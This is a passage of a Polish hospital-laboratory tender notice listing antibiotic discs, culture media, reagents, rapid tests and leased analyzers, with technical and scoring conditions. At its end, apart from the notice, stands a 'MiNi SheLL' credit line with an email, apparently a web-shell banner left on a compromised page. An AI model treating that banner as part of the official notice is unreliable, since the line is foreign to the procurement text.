42. Cefotaksym/kw. klawulanowy 30/10 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 6
43. Ceftazydym/kw. Klawulanowy 30/10 ?g, 
jednostka miary:  Fiolka 50 sztuk, ilość: 6
45. Ampicylina/sulbaktam  10/10 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 2
46. Meropenem -10 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 8
47. Teikoplanina - 30 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
48. Rifampicyna - 5 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
49. Tobramycyna -10 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
50. Tikarcylina - 75 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
51. Tigecyklina - 15 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
52. Trimetoprim/sulfametoksazol 1.25/23.75
jednostka miary: Fiolka 50 sztuk, ilość: 8
53. Chloramfenikol 30 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
54. Chinupristyna/dalfopristyna 15 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
55. Kwas fusydowy 10 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
56. Escherichia coli  ATCC 25922
jednostka miary: 25 krążków, ilość: 2
57. Pseudomonas aeruginosa ATCC 27853
jednostka miary: 25 krążków, ilość: 2
58. Staphylococcus aureus ATCC 29213
jednostka miary: 25 krążków, ilość: 2
59. Streptococcus pneumoniae ATCC 49619
jednostka miary: 10 krążków, ilość: 2

Warunki wymagane dot. Pakietu nr 5:
1. Wszystkie krążki antybiotykowe i szczepy wzorcowe muszą pochodzić od jednego producenta w celu zachowania standaryzacji kontroli oceny lekowrażliwości 
2. Krążki muszą posiadać stałe, dwustronne, nie zmieniające się oznaczenie i stężenie  antybiotyku  zgodne z  zaleceniami CLSI/EUCAST
3. każda  fiolka  powinna  być pakowana fabrycznie w hermetyczne opakowanie typu blister z  pochłaniaczem wilgoci
4. Ostatni krążek w fiolce musi być oznaczony symbolem x w celu zabezpieczenia pracy dyspenserów z pustymi kasetami (tj. uszkodzeniem).
5. Krążki antybiotykowe muszą posiadać certyfikat ISO 13485 dla wyrobów medycznych oraz deklaracje zgodności CE dla wszystkich krążków
6. Wszystkie szczepy wzorcowe muszą pochodzić z  0-1 pasażu oryginalnej kolekcji ATCC
7. Temperatura przechowywania szczepów -20  + 8 stopniC
8. Do szczepów należy dołączyć instrukcję postępowania ze szczepem w języku polskim
Nie spełnienie któregokolwiek z wymaganych warunków spowoduje odrzucenie oferty..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.12.41.30-5.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 24.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 6 <b>NAZWA:</b> Pakiet nr 6 - testy do identyfikacji mikroorganizmów oraz dzierżawa czytnika i densytometru dla laboratorium w Sycowie.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1. Testy do identyfikacji bakterii Gram ujemnych (Enterobacteriaceae i Niefermentujacych glukozy) wraz z potrzebnymi odczynnikami, szereg biochemiczny minimum 29 cech biochemicznych
jednostka miary: op. 20 testów
ilość: 320 testów
2. Testy do identyfikacji bakterii Gram dodatnich  wraz z potrzebnymi odczynnikami, szereg biochemiczny minimum 29 cech biochemicznych
jednostka miary: op. 20 testów
ilość: 200 testów
3. Testy do identyfikacji bakterii trudnorosnących (tj. Neisseria, Haemophilus Moraksella) oraz innych bakterii o wysokich wymaganiach odżywczych wraz z potrzebnymi odczynnikami, szereg biochemiczny minimum 29 cech biochemicznych
jednostka miary: op. 20 testów
ilość: 100 testów
Wykonawca zobowiązany jest wyliczyć wartość oferty uwzględniając wielkość opakowań i zaokrąglając w górę do pełnego opakowania

Parametry graniczne testów i oprogramowania dot. Pakietu nr 6
1. Elektroniczna książka kodowa powinna zawierać informacje o zidentyfikowanych bakteriach oraz tabelę prawdopodobieństwa wyników pozytywnych z poszczególnych testów biochemicznych.
Podana baza taksonomiczna identyfikowanych drobnoustrojów.
Opis wymaganych parametrów testów identyfikacyjnych
1. Bezpieczna konstrukcja testu- sztywny moduł, zamknięty format, brak wycieków
2. Konstrukcja testu pozwalająca na inokulację testu bez pipetowania zawiesiny do studzienek reakcyjnych
3. Minimum 29 cech biochemicznych, do odczytu w świetle białym i/lub UV
4. Maximum 2 testy off-line potrzebne do podania przez system wyniku identyfikacji
5. Opakowania testów w postaci zestawów zawierających wszystkie niezbędne do wykonania testu odczynniki, buliony (bez odczynników do testów off-line)
6. Uproszczony format testów biochemicznych.
Na jednym szeregu biochemicznym test w kierunku pałeczek G(-) i niefermentujących, na jednym szeregu biochemicznym test w kierunku bakterii G(+)
7. Test w kierunku bakterii o specyficznych wymaganiach wzrostowych typu Neisseria/Haemophilus/Moraxella
Opis wymaganych parametrów densytometru-parametry techniczno użytkowe
1. Urządzenie do pomiaru stopnia zmętnienia zawiesiny bakteryjnej
2. Pomiary w zakresie odpowiadającym wzorcom McFarlanda od 0,1 - 4,5 jednostek
3. Dokładność pomiarów 0,5 +/- 0,08 j. McFarlanda
4. Powtarzalność pomiarów 0,5 +/- 0,04 j. McFarlanda
5. Możliwość odczytu przy minimalnej objętości napełniania probówki, jednak nie mniejszej niż 2 ml
6. Urządzenie przeznaczone do pracy ze szklanymi, płaskodennymi probówkami wielokrotnego użycia o wymiarach: średnica 16 mm, wysokość 75 mm
7. Dostawa wraz z zestawem kalibracyjnym (zestaw 3 wzorców kontrolnych 0,25: 1: 4:  j. 
Dokładność pomiarów 0,5+/- 0,08 j. McFarlanda
8. Zasilanie sieciowe i bateryjne (baterie alkaliczne) minimum 2300 pomiarów bez wymiany baterii
9. Klasyfikacja wyrobu Medycznego. Podać  
Nie spełnienie któregokolwiek z wymaganych warunków spowoduje odrzucenie oferty..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.12.41.30-5, 38.42.58.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 24.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 7 <b>NAZWA:</b> Pakiet nr 7 -  Podłoża mikrobiologiczne na płytkach.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1. Chapman Agar (Mannitol Salt Agar)  
jednostka miary: Płytka 90mm	
ilość: 300
2. Podłoże czekoladowe z dodatkiem wielowitaminowym i bacytracyną do izolacji Haemophilusa
jednostka miary: Płytka 90mm	
ilość: 500
3. Columbia + 5% krew barania
jednostka miary: Płytka 90mm	
ilość: 1100
4. Podłoże z żółcią, eskuliną i azydkiem, do izolacji i różnicowania paciorkowców z grupy D
jednostka miary: Płytka 90mm	
ilość: 160
5. Mueller Hinton Agar- podłoże do badania lekowrażliwości
jednostka miary: Płytka 90mm
ilość: 4000
6. Sabouraud + Chloramphenicol + Gentamicin - podłoże do izolacji drożdżaków i dermatofitów
jednostka miary:Płytka 90mm
ilość: 800
7. Podłoże chromogenne do izolacji i bezpośredniej identyfikacji Candida albicans oraz wstępnej identyfikacji C.glabrata, C. krusei, C. tropicalis
jednostka miary: Płytka 90mm	
ilość: 240
8. Podłoże chromogenne do izolacji i bezpośredniej identyfikacji MRSA,
jednostka miary: Płytka 90mm	
ilość: 160
9. Podłoże chromogenne do izolacji i bezpośredniej identyfikacji E. coli, Proteus i Enterococci oraz wstępnej identyfikacji innych patogenów układu moczowego
jednostka miary: Płytka 90mm
ilość: 2600
10. Mac Conkey z fioletem krystalicznym
jednostka miary: Płytka 90mm	
ilość: 3000
11. Podłoże Mueller-Hinton agar z 5% krwią końską i 20 mg/l NAD
jednostka miary: Płytka 90mm
ilość: 500
12. Podłoże chromogenne do identyfikacji Paciorkowców grupy B
jednostka miary: Płytka 90mm
ilość: 700
13. Podłoże wybiórcze do izolacji i identyfikacji Clostridium Dificille
jednostka miary: Płytka 90mm	
ilość: 8
14. Podłoże chromogenie do badań przesiewowych w kierunku Enterobacteriaceae wytwarzających karbapenemazy (CPE) szczególnie KPC oraz NDM-1
jednostka miary: Płytka 90mm	
ilość: 60
15. Podłoże chromogenie do badań przesiewowych w kierunku Enterobacteriaceae wytwarzających karbapenemazy typu OXA-48
jednostka miary: Płytka 90mm	
ilość: 60
Nie spełnienie któregokolwiek z wymaganych warunków spowoduje odrzucenie oferty

Warunki wymagane dot. Pakietu nr 7:
1. certyfikat jakości podłoża dołączony do każdej serii 
2. grubość warstwy agaru dla podłoży gotowych na płytkach - 4 mm, opis podłoży na spodniej części płytki (nazwa, producent, data i godzina rozlania, seria, termin ważności)
3. podłoża na płytkach: płytki standardowe 90 mm, pakowane po 10 sztuk w rękaw foliowy
4. Wykonawca zobowiązany jest wyliczyć wartość oferty uwzględniając wielkość opakowań i zaokrąglając w górę do pełnego opakowania
5. Wszystkie podłoża od jednego producenta.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.12.41.30-5.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 24.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 9 <b>NAZWA:</b> Pakiet 9 - Odczynniki do badań laboratoryjnych.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1. Odczynnik May Grunwalda, ilość: 4000 ml	 	 	 	 	
Wielkość opakowania jednostkowego 250-500 ml
2. Odczynnik Giemsy, ilość: 3000 ml 
Wielkość opakowania jednostkowego 250-500 ml
3. Odczynnik Pandyego, ilość: 1000 ml
Wielkość opakowania jednostkowego 100-250 ml
4. Odczynik Nonne Apelta, ilość: 1000 ml
Wielkość opakowania jednostkowego 100-250 ml
5. Odczynnik Rosina, ilość: 1000 ml
Wielkość opakowania jednostkowego 100-250 ml
6. Odczynnik Ehrlicha, ilość: 1000 ml
Wielkość opakowania jednostkowego 100-250 ml
7. Odczynnik Mac Williama, ilość: 800 ml
Wielkość opakowania jednostkowego 100-250 ml
8. Odczynnik Turka, ilość: 500 ml
Wielkość opakowania jednostkowego 100 ml
9. Zestaw odczynników do barwienia metodą Grama: Fiolet krystaliczny, Lugol, Odbarwiacz, Safranina, ilość: 8 zestawów
Wielkość zestawu 4x250 ml.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.69.65.00-0.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 24.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 10 <b>NAZWA:</b> Pakiet 10 - Materiały kontrolne do analizatora RKZ OMNI C.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1. Materiał kontrolny - pH odpowiadające kwasicy, ilość: 480 amp
2. Materiał kontrolny - pH odpowiadające zakresowi fizjologicznemu, ilość: 480 amp
3. Materiał kontrolny - pH odpowiadające zasadowicy, ilość: 480 amp

Warunki wymagane dot. Pakietu nr 10:
1. Materiał w postaci roztworu wodnego
2. Wartości metrykalne pH, pCO2 i pO2 oraz stężenia jonów Na, K, Cl, Ca wyznaczone przez producenta materiału dla analizatora OMN
3. 3 poziomy materiału kontrolnego z pH odpowiadającym kwasicy, zasadowicy oraz stanowi fizjologicznemu pH.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.69.65.00-0.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 24.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 11 <b>NAZWA:</b> Pakiet 11 - Szybkie testy do badań laboratoryjnych.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1. Test immunochromatograficzny do wykrywania antygenu powierzchniowego wirusa zapalenia wątroby typu B (HBsAg) w surowicy, ilość: 500 oznaczeń 	 	 	 	
1. Metoda: kasetkowy test immunochromatograficzny
2. Cut off: < 0,3 IU
3. Możliwość wykonania badań w osoczu
2. Test immunochromatograficzny do wykrywania przeciwciał przeciwko Treponema pallidum w surowicy, ilość: 1600 oznaczeń
1. Metoda: kasetkowy test immunochromatograficzny
2. Możliwość wykonania badania w krwi pełnej i osoczu
3. Wykrywanie przeciwciał w klasach IgG, IgM, IgA
3. Test immunochromatograficzny do jakościowego wykrywania krwi utajonej w kale, ilość: 800 oznaczeń
1. Metoda: kasetkowy test immunochromatograficzny, przeciwciała swoiste dla ludzkiej hemoglobiny
2. Czułość: 10 ng Hgb/ml
3. Bez diety
4. Brak reakcji krzyżowych z hemoglobinami zwierzęcymi
5. Brak efektu prozone do 100000 ng/ml
4. Test immunochromatograficzny do wykrywania przeciwciał przeciwko wirusowemu zapaleniu wątroby typu C (anty HCV) w surowicy
ilość: 400 oznaczeń
1. Metoda: kasetkowy test immunochromatograficzny
2. Możliwość wykonania badań w osoczu
5. Test immunochromatograficzny do wykrywania przeciwciał przeciwko ludzkiemu wirusowi upośledzenia odporności (HIV) w surowicy, ilość: 400 oznaczeń 
1. Metoda: kasetkowy test immunochromatograficzny
2. Test wykrywajacy przeciwciała IgG, IgA i IgM wytworzone przeciwko wszystkim podtypom ludzkiego wirusa upośledzenia odporności Typu1 (HIV-1, łącznie z  grupą 0) i Typu2 (HIV-2)
3. Możliwość wykonywania badań także w osoczu
6. Test immunochromatograficzny do wykrywania sercowej troponiny I w osoczu, surowicy lub krwi pełnej, ilość: 50 oznaczeń
1. Metoda: kasetkowy test immunochromatograficzny
2. Test wykrywający sercową troponinę I, o wartości odcięcia (cut off) 0,5 ng/ml.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.12.41.30-5.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 24.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 12 <b>NAZWA:</b> Pakiet nr 12 - dostawa odczynników i materiałów zużywalnych do badań chemiluminescencyjnych wraz z dzierżawą dwóch analizatorów (podstawowego i zapasowego).</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1. Odczynniki
1. TSH 3 gen, ilość oznaczeń: 3500
2. fT3 (wolne fT3), ilość oznaczeń: 1000
3. fT4 (wolne fT4), ilość oznaczeń: 1300
4. PSA, ilość oznaczeń: 1600
5. Troponina, ilość oznaczeń: 7600
6. p/ciała przeciw Toxoplazmie IgG, ilość oznaczeń: 600
7. p/ciała przeciw Toxoplazmie IgM, ilość oznaczeń: 650
8. CA 125, ilość oznaczeń: 550
Wykonawca zobowiązany jest wyliczyć wartość oferty uwzględniając wielkość opakowań i zaokrąglając w górę do pełnego opakowania
Przy obliczaniu ilości potrzebnych opakowań Wykonawca uwzględni trwałość zestawów odczynnikowych na pokładzie analizatora
Przy obliczaniu ilości potrzebnych opakowań odczynników do podanych wyżej ilości oznaczeń należy doliczyć niezbędne oznaczenia kalibracyjne
Wykonawca oświadcza, że wskazany w formularzu asortyment jest wystarczający do prawidłowego wykonania w/w ilości oznaczeń. W przypadku nie uwzględnienia asortymentu potrzebnego do wykonania w/w ilości oznaczeń Wykonawca zobowiązuje się do bezpłatnego zapewnienia tego asortymentu Zamawiającemu. Wykonawca pokrywa koszt zakupu i transportu towaru do Zamawiającego.
2. Materiały zużywalne i eksploatacyjne
1. Kontrole
2. Materiały eksploatacyjne
W przypadku materiałów kontrolnych do TSH (poz. 1 zestawienia) Wykonawca uwzględni wykonywanie kontroli 3 razy w tygodniu na 3 poziomach
W przypadku materiałów kontrolnych do Troponiny (poz 5 zestawienia) Wykonawca uwzględni wykonywanie kontroli codziennie na 2 poziomach
W przypadku materiałów kontrolnych do fT3, fT4 i PSA (poz 2 - 4 zestawienia) Wykonawca uwzględni wykonywanie kontroli 2 razy w tygodniu na 3 poziomach
W przypadku materiałów kontrolnych do CA125 oraz Toxo IgG i Toxo IgM (poz 6 - 8 zestawienia)  Wykonawca uwzględni wykonywanie kontroli 1 raz w tygodniu na 3 poziomach
Wykonawca oświadcza, że wskazany w formularzu asortyment jest wystarczający do prawidłowego wykonania w/w ilości oznaczeń. W przypadku nie uwzględnienia asortymentu potrzebnego do wykonania w/w ilości oznaczeń Wykonawca zobowiązuje się do bezpłatnego zapewnienia tego asortymentu Zamawiającemu. Wykonawca pokrywa koszt zakupu i transportu towaru do Zamawiającego
W tabeli 2 (Materiały zużywalne i eksploatacyjne) Wykonawca uwzględni koszt podłączenia i konfiguracji analizatora do laboratoryjnego systemu informatycznego (LIS) E-LAB firmy Eclipse
Warunki graniczne dot. Pakietu nr 12
1. Testy wykonywane metodą chemiluminescencyjną
2. Pełna automatyzacja analiz
3. Minimum 12 miejsc na odczynniki
4. Wydajność aparatu minimum 100 oznaczeń/h
5. Możliwość priorytetowego wykonania próbek cito
6. Chłodzenie odczynników na pokładzie analizatora
7. Stabilność kalibracji minimum 28 dni
8. Automatyczne monitorowanie zużycia odczynników
9. Możliwość wykonywania badań przy wykorzystaniu próbek pierwotnych
10. Praca analizatora w trybie swobodnego dostępu
11. Identyfikacja próbek i odczynników na podstawie kodów kreskowych przy użyciu wbudowanego czytnika
12. Wbudowany system kontroli jakości
13. Możliwość archiwizacji danych
14. Instrukcja obsługi w języku polskim
15. Możliwość współpracy z laboratoryjnym systemem informatycznym (LIS) - przesył danych z wykorzystaniem komunikacji dwukierunkowej
16. Gwarancja i bezpłatny serwis gwarancyjny w okresie umowy, 
(w tym 2 obowiązkowe przeglądy techniczne analizatora na rok)
17. Analizator wyposażony w zewnętrzny UPS umożliwiający podtrzymanie pracy analizatora w przypadku zaniku zasilania
18. Możliwość wykonania oznaczenia troponiny w czasie nie dłuższym niż 15 minut, wraz z możliwością jednoczesnego wykonywania pozostałych badań immunochemicznych
19. Trwałość odczynników, kalibratorów i materiałów kontrolnych minimum 6 miesięcy
od daty dostawy
20. Odczynniki gotowe do użycia, pakowane w pojemniki nadające się do bezpośredniego
włożenia do analizatora
21. Analizator zapasowy pracujący przy użyciu tych samych odczynników i materiałów zużywalnych co analizator podstawowy
22. Wykonawca zapewni urządzenie utrzymujące stałe warunki (temperatura) w pomieszczeniu w którym zostanie zainstalowany analizator 
23. Wykonawca uwzględni w ofercie zakup kontroli międzynarodowej dla parametrów kardiologicznych w cyklach półrocznych (1 cykl - 13 próbek kontrolnych) przez cały okres trwania umowy
Wymagane parametry kontroli:
2 oznaczane parametry
oznaczenia co 2 tygodnie,
możliwość elektronicznego przesyłania danych oraz zarejestrowania więcej niż jednego aparatu/kontrolę
24. Podłączenie analizatora do systemu e-Lab na koszt Wykonawcy
Niespełnienie któregoś z warunków granicznych powoduje odrzucenie oferty
Kryteria oceny parametrów technicznych odczynników i analizatora dot. Pakietu nr 12.
1. Przedział odczynnikowy na pokładzie analizatora utrzymujący temperaturę w zakresie 2-10 stopni C; 	tak - 18 pkt, nie - 0 pkt
2. System zapobiegający Carry over (przeniesieniu materiału pomiędzy próbkami) nie wymagający materiałów jednorazowego użytku; tak - 2 pkt, nie - 0 pkt
Oferent ma obowiązek przedstawienia w ofercie dokumentacji, na podstawie której Zamawiający dokona oceny przedstawionych parametrów odczynników.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.69.62.00-7, 38.43.45.80-5.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 24.</li><li><p><b>4) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p>
<ul class="kh_indent_1">
<li>1. Cena - 80</li>
<li>2. ocena parametrów technicznych analizatorów i odczynników - 20</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 13 <b>NAZWA:</b> Pakiet nr 13 - dostawa odczynników i materiałów zużywalnych do badań morfologii krwi wraz dzierżawą dwóch analizatorów - analizatora z automatycznym podajnikiem próbek dla laboratorium w Oleśnicy i analizatora z manualnym podawaniem próbek dla laboratorium w Sycowie.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Zakładana ilość badań w okresie umowy (24 miesiące) - 79000 badań - w tym 45000 w trybie 5 diff i 34000 w trybie CBC
1. Odczynniki i materiały zużywalne
Wykonawca oświadcza, że wskazany w formularzu asortyment jest wystarczający dla prawidłowego wykonania w/w ilości oznaczeń. W przypadku nieuwzględnienia asortymentu potrzebnego do wykonania w/w ilości oznaczeń Wykonawca zobowiązuje się do bezpłatnego zapewnienia tego asortymentu Zamawiającemu. Wykonawca pokrywa koszt zakupu i transportu towaru do zamawiającego

Warunki graniczne dot. Pakietu nr 13
1. Analizator z rozdziałem krwinek białych - 5 diff
2. Ilość raportowanych parametrów hematologicznych - minimum 24
3. Parametry mierzone:
- erytrocyty
- hemoglobina
- trombocyty
- leukocyty
Różnicowanie leukocytów:
- neurocyty
- limfocyty
- monocyty
- eozyno file
- bazofile
4. Ocena całkowitej liczby WBC metodą optyczną
5. Dowolność trybu oznaczenia dla każdej próbki (CBC lub CBC + DIFF)
6. Różnicowanie WBC na 5 populacji przy użyciu cystometrii przepływowej z wykorzystaniem światła laserowego
7. Objętość aspirowanej próbki do 150 ul. (w obu trybach - CBC i CBC - DIFF)
8. Wydajność ok. 60 oznaczeń/godzinę
9. Maksymalna liczba reagentów (wraz z odczynnikiem odbiałczającym) - 5
10. Analizator z podajnikiem próbek i analizator z manualnym podawaniem próbek pracujące na tych samych odczynnikach
11. W analizatorze z podajnikiem próbek - podajnik próbek na 20 probówek
12. Odczynniki bezcyjankowe
13. W trybie CBC oszczędność odczynników
14. Liniowość: RBC min do 7 M/ul.; WBC min do 250 K/ul.; PLT min do 5000 K/ul.; HGB min do 25 g/dl
15. Możliwość oceny niedojrzałych granulocytów jako odrębnej populacji wyrażonej w wartościach bezwzględnych i procentach
16. Flagowanie wyników patologicznych wraz z komunikatami opisującymi typowe patologie
17. Graficzna prezentacja wyników - histogram, skategram
18. Możliwość wprowadzania danych demograficznych pacjenta
19. Dowolność redagowania wydruku wyniku wraz z podaniem odpowiednich wartości referencyjnych dla płci i wieku
20. Zarządzanie odczynnikami - szacowanie przez system zużycia odczynników i możliwość kontroli ilości odczynników w dowolnym czasie
21. Jeden rodzaj krwi kontrolnej dla wszystkich parametrów, parametry krwi kontrolnej wczytywane za pomocą dyskietki, dysku CD lub kodu)
22. Analizator wyposażony w zewnętrzny komputer (jeśli nie jest wbudowany), monitor oraz drukarkę laserową i zasilacz UPS)
23. Oprogramowanie obejmujące system kontroli jakości, archiwizacje wyników pacjentów i możliwość dowolnej konfiguracji wydruku wyników badań w zależności od potrzeb laboratorium
24. Możliwość dwukierunkowej komunikacji z systemem informatycznym w czasie rzeczywistym i wprowadzania danych demograficznych pacjenta z LIS
25. Bezpłatny serwis w okresie umowy
26. Bezpłatna aktualizacja oprogramowania w okresie trwania umowy
27. Maksymalny czas usunięcia awarii do 48 godzin
28. Przeszkolenie z obsługi aparatu w siedzibie Zamawiającego
29. Bezpłatne podłączenie i konfiguracja aparatu do LIS (e-lab firmy Eclipse)
Niespełnienie wymaganych parametrów i warunków spowoduje odrzucenie oferty. 

Kryteria oceny odczynników dot. Pakietu nr 13.
1. Pomiar HGB w osobnym kanale pomiarowym niezależnie od WBC, gwarantujący brak interferencji ze strony krwinek białych i lipidów - 10 pkt
2. Objętość aspirowanej próbki maksymalnie 20 ul - 10 pkt
3. Możliwość wykonywania oznaczeń w trybie kapilarnym (także z oznaczeniem w trybie 5 Diff) - 10 pkt
Oferent ma obowiązek przedstawienia w ofercie dokumentacji, na podstawie której Zamawiający dokona oceny przedstawionych parametrów odczynników.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.69.62.00-7, 38.43.45.70-2.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 24.</li><li><p><b>4) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p>
<ul class="kh_indent_1">
<li>1. Cena - 70</li>
<li>2. ocena parametrów technicznych analizatorów i odczynników - 30</li>
</ul>
</li>
</ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com